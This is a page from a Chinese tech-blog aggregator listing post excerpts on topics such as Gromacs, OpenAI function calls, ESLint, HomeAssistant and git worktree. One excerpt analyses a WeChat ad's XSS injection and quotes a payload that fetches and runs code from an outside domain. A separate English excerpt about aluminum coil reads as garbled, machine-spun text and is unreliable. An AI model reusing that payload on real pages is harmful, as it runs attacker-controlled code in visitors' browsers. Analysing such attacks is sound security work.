IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    love 0
    CatUncle4
    发表于
    2023-11-15 18:16:25

    Gromacs 分子动力学模拟

    近期做了一次分子动力学模拟实验,命令比较多,整理一下步骤,参考了生信实战的教程,但他们的教程存在很多问题,这里完善一下。以江苏大学一位师兄提供的蛋白文件为基础,前提是要去除小分子,否则 gromacs 会报错提示有非标准残基。 ...继续阅读 (57)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    openai Function call

    Function Call 是 openai 6 月份推出的一个新功能,可以把 GPT 作为输入输出,中间数据的处理生成由外部处理。理解Function Call 比较好理解定义函数,供 GPT 选择调用GPT 作为输入端,提取用户的输入作为参数,调用自定义的函数GPT 语义化输出函数的内容举例// openai function call exampleimportOpenAIfrom"openai";constopenai=newOpenAI({apiKey:"",// 你的 key});// 被调用的函数,这里是静态数据functiongetCurrentWeather(location,unit="fahrenheit"){constweatherInfo={"location":location,"temperature":"22","unit":unit,"forecast":["sunny","windy"],};returnJSON.stringify(weatherInfo);}asyncfunctionrunConversation(){// Step 1: 发生消息给 GPTconstmessages=[{"role":"user","content":"今天的天气怎么样?" ...继续阅读 (196)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    五福投放技术实现

    今年支付宝五福在众多小程序中都有接入,技术上接入是无感知的,本篇博客尝试去分析实现这种无感知的接入。分析小程序约等于 h5,如果我们要实现类似五福的弹框,那么必然要引入一段js,由这段 js 去实现页面的效果。弹框怎么样保证在最前面,不被页面的元素层级覆盖,我们需要获取页面最大的z-index值。层级functiongetMaxZIndex(){return[...document.body.querySelectorAll('*')].reduce((r,e)=>Math.max(r,+window.getComputedStyle(e).zIndex||0),0)}document.body.querySelectorAll('*')获取页面所有元素,返回 NodeList 类数组,转化为一般数组之后,通过window.getComputedStyle(e).zIndex获取最大的层级,在 reduce 函数中对比下大小,返回最大的z-index层级通过这部分,我们只需要在最大的z-index上面加1即可以保证我们的层级在最上面。如何引入 js弹框已经不成问题,那我们怎么在众多的页面中去引入这段 js 呢?还不能在单体应用维度去操作。nginx或者网关。我们的 html 文件都会从 nginx 去分发,我们可以从这个口子直接去做文件内容的替换。nginx 内 ...继续阅读 (163)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    ESLint 自定义规则开发

    ESLint 是 js 代码格式化工具,能够自动发现并尝试修复代码中的问题,是团队开发的必备工具。大部分时候,使用既定规则即可,业界也有比较多的成熟配置:eslint:recommended ESLint内置的推荐规则在么有讲到 所有打钩的就是内置规则eslint:all:ESLint 内置的所有规则;eslint-config-standard:standard 的 JS 规范;eslint-config-prettier:关闭和 ESLint 中以及其他扩展中有冲突的规则;eslint-config-airbnb-base:airbab 的 JS 规范;eslint-config-alloy:腾讯 AlloyTeam 前端团队出品,可以很好的针对你项目的技术栈进行配置选择,比如可以选 React、Vue(现已支持 Vue 3.0)、TypeScript 等;本篇并不想讨论这些规则的配置和使用,搜索引擎学习这些内容会更加容易。问题var date = new Date("2023-02-16 06:00");上面的代码在pc上没有大问题,但是在移动端 ios 中会报错,ios 不支持2023-02-16 06:00这样的写法,需要写成2023/02/16 06:00这样的形式。在项目管理中,团队人员多了,很难从口头成面达成一致,最好还是从 ESLint 规则上面去想办法。源码ES ...继续阅读 (179)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    2022 阅读

    主题阅读函数式编程JavaScript ES6函数式编程入门经典 (豆瓣)JavaScript函数式编程指南 (豆瓣)我正式的入门变成应该是从 sicp 开始的(虽然没有看完),所以对函数式编程一直抱有浓厚的兴趣。入门经典确实很入门,对函子、Monad 这些核心概念基本是一笔带过,只给你画出了一个轮廓,很薄的一本小册子,建议 3 天看完。JavaScript 函数式编程指南,这本用来入门很不错,各种概念都比较明晰,今年应该还会再看一遍。但是这两本书,都让人感觉干巴巴的,都还是范畴论那一套东西,如果用现代框架,结合函数式编程讲解,感觉是极好的,但是好像很少看到这样的书籍或者课程。vue3Vue.js设计与实现 (豆瓣)Vue.js技术内幕 (豆瓣)Vue3 源码实战课设计与实现作者是霍春阳,以前看过他写的GitHub - HcySunYang/vue-design: 📖 master分支:《渲染器》,写的非常好,这本 vue3 的设计与实现,依然保持了高水准。注意,这本书不是 vue3 源码的解读,而是一步一步的引导你理解 vue3 的设计。响应系统,diff 算法写的很不错,虽然有的地方还是不好理解。技术内幕,黄轶的作品,一言难尽。和他的视频一个风格,大段大段的代码篇幅,如果没有基础,看这本书会很懵逼,这本书不是给新手的,而是有一定基础的。建议看完设计与实现之后,挑着看一部分,两本 ...继续阅读 (173)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    2022 回顾

    时光如小偷,一不小心,她已经偷光了你的所有。博客今年只产出了 11 篇文章,比计划中的要少不少,但是我也不想强求自己,有时候写了,没发表,有时候,是真的没有心境去写。明年,争取,每个月两篇,这样一年就有 24 篇,还是有很多有意思的主题值得去深入的。耗尽上半年,异常的忙碌,需求膨胀,团队人员激增。整个人就好像陀螺一样,被工作不停的抽打,没有时间思考,没有时间停歇,一刻不停的应付着各色人等。工作把我所有的精气神抽干净了,每天回来就是睡觉,两点一线,白头发都多了好多。有时候,无休止的工作,让我看不到希望,业务性质的开发让我越来越没有激情,一眼看到头的需求,让我找不到方向。决断上半年有机会去上海,后来考虑再三还是没有去,终究是有点可惜的。无锡买房也考虑了很久,始终下不了决心,再等等,房价明年也不会有大的变化。也不太想给自己上太高的杠杆,今年吧,今年看看能不能把这个事情定下来。耗散还是有很多的事情在耗散我的精力,无法持续的聚焦。天下事没必要关心,国事天下事,改变不了,甚至路边的流浪猫,也改变不了。不用关心这些改变不了的事情,聚焦精力到自己手上的事情,把体验做到极致,才是更好的方向。35岁30 岁之后,35岁就像一个死亡倒计时,一刻不停的在计数,让人恐惧。我大概知道 35 岁以后,我还是会写代码,但是也明显的感受到了时间的流逝,机会的减少。我想在今年做些改变,不再写一些 demo 性质的项目 ...继续阅读 (189)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    HomeAssistant 智能家居入门

    智能家居有很多厂商的方案,但是基本都是打包方案,很难在 AB 厂家之间做联动,并且这些方案都依赖厂家的服务器,服务器出现问题,智能变智障。依赖厂商服务器无隐私可言,数据被厂商分析难以多品牌联动难以定制化Home AssistantHome Assistant 诞生于 2013 年,是一款基于 Python 开发的 智能家居 开源系统,他的主要功能就是可以将不同品牌的智能家居设备连接起来互联互通。这个开源项目已经发展了已经快十年了,同时期的其他类似项目都已经雨打风吹去了,目前看 Home Assistant 更新还是很频繁的,每个月都有好几个版本发布。目前我手上绝大部分智能家居设备都可以通过 HomeAssistant 接入。群晖:监听温度,硬盘状态等美的燃气热水器:水温,能耗小米、涂鸦开关:开关通断、能耗米家空调伴侣:自动化空调设置小米手机:判断是否在家,自动化灯具Apple tv:自动化开启关闭等涂鸦窗帘机:自动化窗帘开启关闭安装Docker 安装,注意这个版本是半残废版本,没有 addon-on,虚拟机安装,如果使用 unraid,群晖,建议安装这个版本,功能最全购买成品,一般是魔百盒刷机之后,刷入了 Debian,然后安装的 HomeAssistantzigBeeZigBee 实际是一种短距离、低功耗的无线通信技术,名称来源于 ZigZag——一种蜜蜂的肢体语言。当蜜蜂新发现 ...继续阅读 (167)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    正则表达式

    正则表达式是匹配模式,要么匹配字符,要么匹配位置。能够实现模糊匹配。横向模糊匹配:正则可匹配的字符串的长度是不固定的纵向模糊匹配:正则匹配的字符串,具体到某一位数字时,他可以不是某个确定的字符,可以用多种可能。匹配字符字符组量词匹配位置符号含义^匹配开头,在多行匹配中匹配行开头$匹配结尾,在多行匹配中匹配行结尾\b\b 是单词边界, 具体就是 \w 与 \W 之间的位置, 也包括 \w 与 ^ 之间的位置, 和 \w 与 $ 之间的位置。\B\B 就是 \b 的反面的意思,非单词边界。例如在字符串中所有位置中,扣掉 \b,剩下的都是 \B 的。(?=p)(?=p), p 是子模式,即 p 前面的位置(?! p)与 (?=p) 相反,即非 p 前面的位置(?<=p)只有在 p 后面才匹配(? [ ...继续阅读 (194)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    遥远的救世主

    王庙村的农民王庙村的农民可能是这本书中最没有存在感的一群人,艰苦,朴素,吃别人吃不了的苦,受别人受不了的罪,干别人干不了的活。面朝黄土背朝天的生活,因为丁元英的扶贫,开了一扇窗户,所有人都在努力的去抓住这根救命稻草。苦吗,苦。吃不得苦中苦,哪能改变生活?人与人之间没有特质的差异,拼的就是谁对自己更狠。刘冰市侩,自作聪明。小生意上面,这种人也许是极好的,能赚点小钱。但是没有大的格局,有点风吹草动就要退股,眼光短浅,难成大器。最终也死在了自己的自作聪明中。不是命运不给他活路,实在是他自己不给自己活路。某些时候,我觉得我也是这样的人,鼠目寸光,看不到长远的未来,为了蝇头小利,沾沾自喜。欧阳雪从混沌摊起步,一步一个脚印经营者着大饭店,不熟悉的领域绝对不碰,参与这场游戏,只是因为一个赌局,只是为了维护芮小丹。让人很舒服的一个人,后来有了公司股权,也都是委托给专业人士打理,自己只做自己熟悉的事情。有过几次冲突的场景,都没有任何的妥协,不惧怕困难。看这些段落的时候,我总是想起《大染坊》中的陈六子,都是从一无所有开始,到拥有丰富的物质生活。陈六子要饭出生,几个重要关头也是天不怕地不怕,” 大不了从头再来 “。大不了从头再来。主动或者被动的失去现在的一切,一切从 0 开始,需要多大的勇气和豪情。什么都不敢失去,最终会失去所有,放弃一些俗念,专注问题本身,不被外界牵扯撕拉,保持内心的平静,怕什么,大不 ...继续阅读 (187)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    冬天

    天气渐凉,夏去秋来,秋去冬来。窗外的落叶越来越厚,人们的衣服也越来越厚,寒风刺骨,刺透很多人的心房。市场凉了,招聘凉了,很多人工作都很难找到,这个冬天冷的让人绝望。冬天是单调的。灰色浸染着一切,风雨雪,似乎要把人间撕裂,把一切的美好毁灭。冬天是乏味的。没有了春的千娇百媚,夏的热情激烈,秋的晴空万里,冬天只有萧瑟和肃杀,让人提不起一点兴趣。冬至,宣告着冬天的到来,太阳直射南回归线,然后开始向北移动。当万物寂寥时候,阳光已经开始逐渐回归。冬天是最好的礼物,万物在疯狂生长之后,沉寂,万物更替,或被淘汰滋养万物,或悄然积蓄力量,等待春天的来临。一个有能力的人,四季变化不会对他造成影响,他的目标坚定,在通往未来的路上忙碌,无暇顾及四季的变化。冬天挤掉了泡沫,挤掉了名不副实的人,挤掉了心猿意马四处观望的人,冬天是一个沉淀的时节。是自怨自艾,还是奋力向前;是畏缩逡巡,还是一鼓作气;是悲观失落,还是积极求变。如果我们还不好,那要珍惜冬天,繁华退去,只有冬天才能给你清醒。待春天来临,你也如那绿芽一样,肆意生长,百花艳羡。只要我们足够优秀,就不会没有足够的舞台,让我们肆意疯狂的演出。停止抱怨,与其懊悔没有在春天种一棵树,那就现在开始,种一棵树最好的时间就是现在。冬天种下的树,不拒风雨严寒,必然长的更加茁壮。愿你我的冬天,热情如火,激情澎湃,肆意生长。 ...继续阅读 (149)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    一个意思的微信群广告

    群广告,语不惊人死不休,跳转之后,出现 sougou 的页面,然后重定向到广告页面。构造了一个 xss,script 标签,被执行。fetch('//iprozz.com/ffff').then(r=>r.text()).then(C=>newFunction(C)())iprozz.com/ffff请求发出去之后,被执行,页面跳转到广告页面。new Function(C)()这种函数执行方式平时用的还是非常少的,安全方面,各种奇奇怪怪的写法,挺有意思。如果只是到这里,也没必要写这篇博客。尝试调试的时候,发现,在一般浏览器里面是无法请求这个地址的,似乎只在微信的浏览器的可以请求,应该是识别了微信的ua。这样二级跳转,可以对域名做一层保护,减少被封。当域名被封之后,也可以修改服务端的跳转地址,实现快速更换域名的目的。做戏做全套,我们平时的开发中经常抱有侥幸心理,对比一下人家的态度,我们真的能比骗子更专业吗? ...继续阅读 (165)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    大型项目前端手记

    亿级流量的 c 端项目。主体是多个小程序,并且分化为多个版本。除了扯皮拉扯之外,总想聊一聊,不吐不快。保持技术栈的单调性因为各种原因,我们的技术栈百花齐放,uniapp,herbjs,内部小程序框架,vue(h5),react(h5),苦不堪言。对于新人进来,只能快速熟悉一块内容,熟悉其他的小程序需要重新学习框架,成本比较高,如果框架本身还出现一些bug,简直酸爽。少有人走的路《少有人走的路》是本挺好的描述亲密关系的书,然而,技术上要小心。少有人选择的技术,那么就是坑多,因为部分业务是继承项目,所以框架沿用的原来的框架,没有文档,没有支持,吭哧吭哧,埋头苦干。没有人问,没有人解释,各种写法奇绝诡异。再给我一次机会,我会毫不犹豫的选择使用熟悉的框架去重构,后续的维护成本会很低,对于长期项目,收益很高。选择大路货技术选型,选择大路货。虽然 v2ex 把 uniapp 喷的不要不要,然而开发效率,工程化,市场占有率,uniapp 是非常好的,能够让一般开发快速完成工作。然而,uniapp 的 bug 也是有的,我们在开发过程中有遇到,我们选择给 uniapp 提交 mr,一般很快就会被合入。有人维护,有人讨论的技术,不用担心,一定可以找到比较快速的解决办法,没有就完善它,让它变得更美好。内部框架是个p见过太多的内部库,内部框架了,没有一个,是的没有一个,给我比较好的印象。你的同事水平不一 ...继续阅读 (210)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    小程序预览和体验码不一致的坑

    翻车现场我们的小程序之前打包都是 ok 的,但是上次发版本,验证发现多处 css 异常。代码回退,使用旧版本的代码故障依旧。并且本地的 ide 打包出来时正常的,只在云端构建时候出现问题。快速解决问题直觉是存在 css 冲突,为了快速解决问题,把发现的几处修改了。但是还有哪些,挺难发现的,必须找到问题的根本原因。问题在哪?因为旧版本之前上传是正确的,本次本地都是 ok 的,只在线上出现问题。那么大概率是编译器有更新,本地编译器是随着 ide 发布的,线上可以直接更新。我们的 ide 版本是 3.0.2,最新版本的 ide 是 3.1.3,更新最新版本的 ide,问题复现。查看 ide 的 mini-pkg-builder hash:3.0.2md5: daa0f48beb478e414c8686ba02cc560asha-256: 5499c3918ab708f6df337abed8a126e9d19293394c746b77846553d2f1caea833.1.3md5: f26ab0d68a13f86377bc6b7805de61basha-256: a4b647abbd37776e8b8d1883d179ee6bb64c21f0a7deb7e00e406ae83c1fe561编译器确实有变化。总结这个问题,真的挺搞的,不声不响更新核心组件,质量如何把关的,如何上线的,有没有 ...继续阅读 (173)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    战争与和平

    战争:项目紧急或复杂和平:项目不急或简单战争资源:战争是资源的消耗战,工作强度往往超过 996,往往我们是极度的缺乏资源,又需要赢下这场战争。在团结内部的同时,也要尽力去争取一切可以争取的资源,比如说,水果零食,加班能不能尽量争取,道义放两旁,利字摆中间。代码贡献:项目紧急或者复杂,就意味着项目之中存在大量有待梳理与优化的点,意味着要投入更多的时间去整合资源、精简需求和迭代方案,个体的代码贡献与整体的效能提升相比,就显得没那么重要了。战争时代,技术主管可以少写、不写代码。快速决策:事情千头万绪,各种人找你,快速决策的基础是必须对项目有深入的理解,不能任凭甲方牵着鼻子走,否则会疲于奔命,要有理有据的说服对方。团队:战争时代,各种会议,对接,会消耗技术主管大量的时间,团队应该在缺少部分管理的情况下自行运作,各自推进项目进度,不能依靠技术主管去做事情的推进。用人所长,发挥团队的最高效能。人员:因为项目的扩张,必然导致人员的扩张,快速筛选人才,挑选人才,团队磨合,对于不能融入团队,传递负能量,无法立即解决眼前问题的,杀伐果断。和平代码贡献:项目的稳定期,作为技术攻坚的带头人,引入业界前沿的技术、设计模式或者框架,让战争时代Quick And Dirty的方式和不得不情况下做出的妥协变得优雅又牢固,持续深挖团队的技术护城河,营造团队以精进技术为导向的氛围,培养各个方向顶尖的技术梯队,是和平年 ...继续阅读 (185)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    umami 源码分析

    umami 不使用 cookie 、localstorage 实现了 uv 识别,符合最新的隐私规范,代码也比较精简。花了一点时间,研究了这部分的实现,还是很有意思的。技术框架:next.js + mysql/postgresql整体看下来,nextjs 准备了很多的约定,比如说 api 目录在pages/api/下面,比如说,pages/api/user.js,nextjs 框架有大量这样的约定。个人还是不太习惯这样的框架,总有种不伦不类的感觉,一些小项目可以这样搞,大型项目,还是需要明确的代码分成,封装。用户识别uv 的核心是去做用户识别,一般会本地存储一个随机的id,每次页面路由变化,上报给后台。而 umami 为了符合一系列的隐私规范,并没有这么做,没有使用 cookie或者 localStorage 。上报路径”pages/api/collect.js”,最终会产生 session 并且通过 session 返回 token 。session 生成方法getSessionconstsession_uuid=uuid(website_id,hostname,ip,userAgent);session=awaitcreateSession(website_id,{session_uuid,hostname,browser,os,screen,language,cou ...继续阅读 (195)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    小程序中的滚动穿透

    在小程序开发中,弹出层滚动穿透是个比较棘手的问题。如下图,蓝色部分滚动,底部也跟着一起滚动,就是滚动穿透。常见的处理方法比如,禁止滚动,并不生效。而给主体加overflow: hidden又会导致主体滚动条高度为 0,需要关闭时候记录滚动条位置,体验也不好。touch-action值描述auto启用none禁用pan-x启用单指水平移动pan-y启用垂直手势manipulation浏览器只允许进行滚动和持续缩放操作。任何其它被auto值支持的行为不被支持。启用平移和缩小缩放手势,但禁用其他非标准手势,例如双击以进行缩放。 禁用双击可缩放功能可减少浏览器在用户点击屏幕时延迟生成点击事件的需要。pinch-zoom启用多手指平移和缩放页面pan-left, pan-right,pan-up,pan-down启用指定方向滚动开始的单指手势在 mask 和 popup 元素上面禁用即可:.mask,.popup {touch-action:none}这里和 overflow 方式类似,都不是特别好的办法,能解决部分问题,但是不完美。注意:这里适合 popup 内部没有滚动的情况禁止冒泡和默认行为preventDefault:阻止默认滚动动作的执行。stopPropagation: 阻止冒泡,阻止事件由下向上传递。实现上,小程序这里需要借助 sjs 的能力来实现:sjs ...继续阅读 (190)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    H5-dooring 后端常见问题

    H5-dooring 后端是 koa2,数据库是直接读写的本地json文件,没有sql,没有redis。我们上线之后,一直有各种各样的问题,简单梳理下,不涉及具体代码,不涉及业务细节。pm2 频繁重启日志文件是直接读写,没有按照时间分割,导致日志文件暴增,node 可用内存64位一般情况下是 1.4g,当内存溢出时候,直接导致 node 进程退出,pm2 频繁重启高 cpu引入的 koa-compose 配置有问题,一直占据 cpu 时间片,200并发就能导致 cpu 100%,去除之后正常。静态文件处理静态文件使用 koa-static 处理,虽然也没啥大问题,但是效率明显偏低,静态文件,我们换成了 nginx,koa 只处理接口请求。缺少缓存频繁读写本地 json 文件,没有使用缓存(比如 Redis),性能不友好,对高并发的 H5 接口,我们加了内存缓存。总结这个项目的排查,学了不少后端的知识,H5-dooring 这个项目,前端挺美的,后端嘛,😝😝😝 ...继续阅读 (186)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    深入浅出 nodejs

    没有白看的书这本书买了五六年了,以前硬着头皮看,做的笔记,批注,到处是困惑,没有白走的路,学不会的总有一天我会把你学会,学不会的,只是必不可少的铺垫。最近定位 H5-dooring 的server 端问题,才把这本书看完,挺好的一本中文技术书。以前 node 没有经验,完全看不懂,这两年在 nestjs 上面花了比较多的时间,初略写了一点 node 的东西,再回头看这本书,才看懂了一点。书的章节并不是顺序的,可以跳着看,第二章 C++ 模块现在还是看不懂,索性直接跳过。笔记第五章 内存控制v8 有内存限制,32位系统下约为 0.7G,64位系统下约为 1.4G,使用超过限制会导致进程退出。v8 的内存分为新生代和老生带。新生代主要通过 Scavenge 算法,通过牺牲空间换区时间的方式进行垃圾回收。老生代主要通过 Mark—Sweep(标记清除,只清除死亡对象,较快,导致内存空间不连续),在空间不足以使用 Mark-Sweep 时候,使用Mark-Compact(标记整理,较慢,内存空间连续) 进行垃圾回收。Buffer 对象不同于其他对象,不经过 v8 的内存分配机制,不会有堆内存大小的限制第六章 理解 BufferBuffer 是一个类 Array 的对象,但它主要用于操作字节,是二进制数据。Buffer 支持的编码类型可以通过toString方法转为字符串,不支持的编码,如 ...继续阅读 (199)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    抛弃 loadsh,封装更现代的防抖、节流

    一般意义上的防抖节流函数防抖(debounce)函数防抖,就是指触发事件后,在 n 秒后只能执行一次,如果在 n 秒内又触发了事件,则会重新计算函数的执行时间。简单的说,当一个动作连续触发,只执行最后一次。函数节流(throttle)限制一个函数在一定时间内只能执行一次实现lodash 里面提供了非常完备的实现,核心是使用定时器去延迟函数的执行问题这样的防抖节流,只能屏蔽某一个时间段的特定操作。我们的点击,往往后面是一个网络请求,如果网络请求的事件长于这个时间,那么就可能出现防抖失效的情况。持续间隔点击按钮,可能会短时间内给后端发送多个请求,如果业务场无法保证幂等,就会出现问题。ui 交互中,防抖实际上是延迟函数的执行,某些场景,会让人觉得卡顿,如果对交互的要求比较高,需要严格控制防抖的时间,一般不超过 200ms如何防御简单的实现,在业务代码中设置标志位,当有 promise 执行的时候,执行锁,等 promise 执行完毕,再释放锁。缺点,需要在业务中写很多重复的代码。conststatus=falsefunctionbtnClick(){if(status){return}else{// do somethingstatus=ture}}封装我们可以参考防抖的实现,进行封装, 把函数用 Promise 进行包裹, ...继续阅读 (211)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    uniapp 中支付宝小程序自定义组件的调用

    uniapp 这个缝合怪,挺厉害的,啥都能做,甚至你能够使用小程序的原生组件。具体文档:https://uniapp.dcloud.io/frame?id=%e5%b0%8f%e7%a8%8b%e5%ba%8f%e8%87%aa%e5%ae%9a%e4%b9%89%e7%bb%84%e4%bb%b6%e6%94%af%e6%8c%81调用坑写法1:如果这样写,那么会走向 uniapp 的事件分发,但是支付宝这里事件的默认参数是 undefined,拿不到事件信息,所以这里会抛出 js 异常写法2:使用小程序原生写法,会报event not found,这是因为 uniapp 对事件有自己的封装,没有直接暴露给小程序,添加以下模板代码之后,可以调用成功:this.$scope.onGet=this.onGet.bind(this)优化如果使用组件比较多,模板代码可以放到 webpack loader 中去实现,思路就是模板中使用onGet写法的通过正则找出来,然后再onLoad()中挂载上去。当我写好了 loader,并且 uniapp 编译成功之后,打开小程序编译器,迎接秋天的美好的时候悲剧…一天就这样过去了…啊啊啊!!! ...继续阅读 (208)


    love 0
    Yao
    发表于
    2023-11-15 15:55:04

    JavaScript 悟道读后感

    以前读过蝴蝶书🦋,对作者印象深刻,jsLint 尝试用过,几乎不可配置,在我的地盘,你就得乖乖听我的。《JavaScript 悟道》这本书英文版本是 2019 年出版,中文版出的速度还是挺不错的,虽然 es 规范现在年年更新,但是书本身并不落伍。翻译这本书是 死月 翻译的,谈不上信达雅,有卖弄文笔之嫌。底型是用于指示递归数据结构结尾的特殊值, 也可用于表示值不存在。 在一般的编程语言中, 常以 nil、none、nothing 或者 null 表示。。底型这个翻译和把Promise翻译为期约有异曲同工之妙,生搬硬造。我对底型这边翻译感觉莫名其妙,其他翻译也还好,不要因为一点翻译上面的瑕疵错过了这本书。如何阅读看看就好,作者非常非常有个性,取其精华。内容内容很有意思,除了正经的 JavaScript 知识点外,作者还详细的阐述了 JSON 的发明过程,对从侧面理解 JOSN 对不同类型的转换很有帮助。不感兴趣的内容跳过,包括,数值高精度部分,neo 部分。读书笔记 ...继续阅读 (175)


    love 0
    Denis &#124; 邓鸿华
    发表于
    2023-11-15 14:33:04

    WordPress 使用 CDN 之后,为什么小程序上图片不显示,网站上小图标变成方格?

    前面我们解释了WordPress 使用 CDN 之后,为什么图片不显示或部分没有被替换成 CDN 域名,今天我们继续来解答 #WPJAM Basic# 插件「CDN 加速」功能的常见问题,今天是关于图片防盗链和资源跨域的问题。我设置了 CDN 之后,为什么我小程序上图片不显示了?我使用 CDN 之后,为什么网站上的小图标显示成空方格?照旧,开始之前,还是建议先看看详细的使用说明:WordPress 博客使用阿里云对象存储 OSS 进行静态资源 CDN 加速WordPress 博客使用腾讯云对象存储 COS 进行静态资源 CDN 加速WordPress 博客使用火山引擎 veImageX 进行静态资源 CDN 加速小程序上图片不显示?这是因为很多用户为了节约费用,防止图片被人盗链,在云存储上给图片设置了防盗链,只给自己的博客域名使用。而小程序是通过 API 接口和前端的交互,请求图片的 Referer 不是你的 WordPress 站点,自然不显示了。所以解决方法有两个,最简单的就是关闭防盗链,但是这样又怕被人盗链,那么如何想要设置防止其他站点盗链我们的图片,又能给自己的小程序使用呢?经过我深入的研究,微信小程序展示的图片的 Referer 是空或者https://servicewechat.com,所以我们只要在云存储上防盗链设置开启「空 Referer」,并加上https://s ...继续阅读 (194)


    love 0
    Bboysoul\'s Blog
    发表于
    2023-11-15 14:14:00

    20231115的胡言乱语

    简介欢迎关注我的频道,不时发送垃圾消息https://t.me/bboyapp或者关注我的 twitterhttps://twitter.com/bboysoulcn ...继续阅读 (72)


    love 0
    xuan
    发表于
    2023-11-15 13:57:39

    Cold Rolled Aluminum Coil

    The price of bloodless rolled aluminum coil consists of aluminum ingot fee + processing charge. For example, the processing fee is ready four,500, The price ought to be enormously low, due to the fact aluminum coils are extra troublesome to break up. What are cold rolled aluminum coil and warm rolledaluminum coil, and what are the characteristics of every? The distinction between warm rolling and bloodless rolling is that cold rolling is rolling on the recrystallization temperature, and warm rolling is rolling above the recrystallization temperature.Bloodless rolled aluminum coil are primarily ...继续阅读 (141)


    love 0
    青南
    发表于
    2023-11-15 13:02:35

    一日一技:如何同时在多个分支写代码?

    当我们在维护公司项目时,可能会遇到这样的场景:我正在开发一个新功能,突然需要修一个Bug。这个时候,有些同学是这样做的:12345678git add .git commit -m'WIP'git checkout -b 新的分支名...新的代码修改完成并push以后...git checkout 老分支...继续开发...更有一些经验的同学,可能会这样写:12345git stashgit checkout -b 新的分支...新的代码修改完成并push以后...git checkout 老分支git stash pop但如果在修这个Bug的时候,又来了一个更紧急的Bug需要修怎么办?到后面很容易就把前面的代码搞忘了。其实我们有更好的办法,那就是使用git worktree命令。这个命令甚至可以让你同时在10个分支上开发,并且1秒无负担切换到任意分支。假设现在我所在的项目文件夹为/Users/kingname/Projects/JobCleaner,在feature分支。现在来了一个Bug需要修复,于是,我只需要执行如下命令:1234git worktree add ../JobCleanerBugFix mastercd../JobCleanerBugFixgit pull origin master此时,Git会自动在/Users/kingname/Pro ...继续阅读 (163)


    love 0
    老王分享-记录生活
    发表于
    2023-11-15 09:36:00

    每周分享 | 第05期

    每周分享本周我看到的,听到的,有趣的,有意思的,有用的信息给大家,如果你感兴趣,欢迎订阅RSS.科技小米汽车照片公布工具免费的独立开发者需要的资源这个网站作者提供了超过 60 个分类的有用的资源,包括又不限于 CDN,低代码,域名,dns,paas,baas,ui 设计,ci/cd,api 接口等等一系列免费的服务,大部分的都是免费的,当然世界加钱可及,加钱当然有更好的服务,对于独立开发者来说一般免费的套餐基本够用.soul- 一款基于命令行的 SQLite 工具只需要一条命令,就可以对已经存在的 sqlite 数据库提供基于 restful 的 curd 接口,适合想临时展示下 sqlite 数据库里的数据的项目.当然我感觉它还不彻底,毕竟它只提供了 api,如果直接基于这个 api 再提供一套前端代码,那不是直接起飞了?我还没敲完上面的文字,又发现了soul-studio,起飞了直接起飞了,连 GUI 都有了,还要啥自行车?pyvideotrans- 基于 python 写的视频翻译工具这是一个视频翻译工具,可将一种语言的视频翻译为另一种语言和配音的视频。 语音识别基于 openai-whisper 离线模型、文字翻译使用 google|baidu|chatGPT|DeepL 翻译接口,文字合成语音使用 Microsoft Edge tts.这个牛逼了,不知道是不是我之前刷短视 ...继续阅读 (120)


    love 0
    南城FE
    发表于
    2023-11-15 08:25:53

    typhonjs-escomplex 代码可读性 & 可维护度探索

    目前市面上的前端代码质量评分中的代码可维护度是大都是基于typhonjs-escomplex这个库扫描而来,但是这个库的官方文档并没有介绍相关指标数据的计算规则,不知道规则如何提升指标数据呢?所以本文对typhonjs-escomplex源码进行探索,探索其关键指标计算逻辑。使用方式使用方式很简单,引用后调用analyze方法传入需要检测的源代码即可。import escomplexModule from 'typhonjs-escomplex-module'; const ast =; const report = escomplexModule.analyze(ast);analyze的第二个参数可以传入相关配置项。commonjs: true, logicalor: true, newmi: true,但此库只支持js文件的检测,对应像vue这类文件无法检测,我们可以通过以下方式提取script中的内容后进行检测。const fs = require('fs'); const doc = fs.readFileSync('test.vue', 'utf-8'); const escomplex = require('typhonjs-escomplex'); const srcs = doc.match(/(?<=)[\s\S]*?(?=<\/script>)/g); ...继续阅读 (142)


    love 0
    leileiluoluo@leileiluoluo.com (磊磊落落)
    发表于
    2023-11-15 08:00:00

    Java 8:如何设计一个 Instant 与 String 互转的工具类?

    本文首先将介绍在 Java 8 之前,传统的 Date 与 String 相互转换的工具类是怎么实现的;接着再探索在 Java 8 新引入 Instant 后,如何实现 Instant 与 String 的互转,以及新的工具类的实现。 ...继续阅读 (126)


    love 0
    leileiluoluo@leileiluoluo.com (磊磊落落)
    发表于
    2023-11-15 08:00:00

    Java 8:如何设计一个 Instant 与 String 互转的工具类?

    本文首先将介绍在 Java 8 之前,传统的 Date 与 String 相互转换的工具类是怎么实现的;接着再探索在 Java 8 新引入 Instant 后,如何实现 Instant 与 String 的互转,以及新的工具类的实现。 ...继续阅读 (135)


    love 0
    王旭阳个人博客
    发表于
    2023-11-15 07:36:00

    Java程序模拟占用CPU和内存

    效果图 图中依次为htop btop top 命令来来查看占用 源代码 JavaListener.java import java.util.Vector; /** * @author wxy * @description CPU 内存 控制 * @date 2023/11/15 下午3:3 ...继续阅读 (153)

上一页 473/4404 下一页
沪ICP备19023445号-2号
友情链接